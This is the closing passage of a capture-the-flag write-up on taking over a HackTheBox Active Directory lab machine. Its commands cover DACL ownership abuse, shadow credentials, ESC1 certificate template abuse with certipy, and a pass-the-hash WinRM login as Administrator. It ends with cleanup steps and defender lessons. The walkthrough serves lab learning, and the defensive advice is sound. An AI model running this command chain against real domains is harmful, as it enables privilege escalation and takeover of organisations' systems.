Fine then, I’ll specify the DNS:
certipy req -username 'ca_svc@sequel.htb' -hashes [paste_NT_hash] -ca sequel-DC01-CA -target sequel.htb -template DunderMifflinAuthentication -upn Administrator@sequel.htb -dns $RADDR
👀 Huh? I’m still getting the same issue. What’s going on?
⚠️ ⚠️ ⚠️ The cleanup scripts on this box are very aggressive.
You might be saying “No they’re not; it takes a few minutes to reset the
owneranddaclthings” - and you’d be right!…But it seems there is another, much faster, scheduled process that resets the certificate templates 😱
To get past it, minimize the amount of time between the
certipy templateandcertipy reqcalls.
# Make ryan the owner of ca_svc
owneredit.py -dc-ip $RADDR -new-owner 'ryan' -target 'ca_svc' -action write 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
# Give ryan FullControl over ca_svc
dacledit.py -dc-ip $RADDR -rights 'FullControl' -principal 'ryan' -target 'ca_svc' -action 'write' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
# Utilize FullControl to get the hash for ca_svc
certipy shadow auto -username 'ryan@sequel.htb' -password 'WqSZAF6CysDQbGb3' -account 'ca_svc'
# Impersonate ca_svc by using their hash for the next two commands
NTHASH=[paste_NT_hash]
# Modify the template so that it becomes vulnerable to ESC1
certipy template -username 'ca_svc@sequel.htb' -hashes $NTHASH -template DunderMifflinAuthentication -save-old
# Request enrolment using the vulnerable cert template, specifying 'administrator' as the upn
certipy req -username 'ca_svc@sequel.htb' -hashes $NTHASH -ca sequel-DC01-CA -target sequel.htb -template DunderMifflinAuthentication -upn Administrator@sequel.htb -dns $RADDR
😍 Finally, after performing all the above steps in rapid succession, it worked:

Authenticate with the certificate
certipy auth -pfx administrator.pfx

Restore the old certificate template
If we left the box in its current state, it’d spoil a few steps for other CTF players following in our footsteps. It’s best to restore the certificate we abused:
certipy template -username ca_svc -hashes $NTHASH -template DunderMifflinAuthentication -configuration DunderMifflinAuthentication.json
🏁 Pass the administrator hash
We got the NT hash of the administrator account, so let’s use it to authenticate over WinRM:
evil-winrm -i sequel.htb -u administrator -H '7a8d4e0498...e5a0b3ff'

And there’s the root flag. Read it to finish off the box:
type root.txt
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools:
cd C:\Users\ryan\Downloads
del *
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
rm -rf loot/*
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED

Attacker
- 📖 Read the instructions. I got pretty far into this box without realizing that they had given us credentials for one of the users. As it turns out, sometimes there are extra instructions on the box’s HTB page.
- 📄 Go ahead, it’s just XML. We encountered a couple malformed
xlsxdocuments on this box. Thankfully, we got past it by realizing that it’s just XML, and we can still just read it visually even if the file is corrupt. - 💦 Credential spraying is really easy and worth the time. When you’re against a Windows target, don’t be afraid to pop a list of usernames or passwords into
crackmapexec- you don’t even need to do any scripting. - 🔧 Use good tools. While doing this box, I took the plunge to update/upgrade several of my Active Directory tools - and I am very thankful that I did. The time I spent updating these tools and trying out the “latest and greatest” was definitely well spent. With Bloodhound-CE and Rusthound, I will be a lot more confident attacking AD in the future!
- 🕐 Write a script when you exploit. I wasted so much time on this box even once I knew the full plan for finishing it, simply because I was fighting the cleanup scripts. If I had just written out my steps into a bash script, I would have been done a couple hours earlier.

Defender
🖥️ Never expose a database to the internet, even if it’s password protected. This is extra important if, for some baffling reason, you’ve found it necessary to keep
xp_cmdshellavailable…💊 Use an antivirus. I was able to transfer several overtly malicious
exefiles onto the target. Even if you’re going to apply the bare minimum of protection, make sure it’s turned on.🐣 Obey least-privilege when making group policies. Privesc on this box could have been prevented if (1)
ryandidnt haveWriteOwneroverca_svcand (2) ifca_svcwasn’t able to modify templates - why would a service account need the ability to modify templates, anyway?
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake

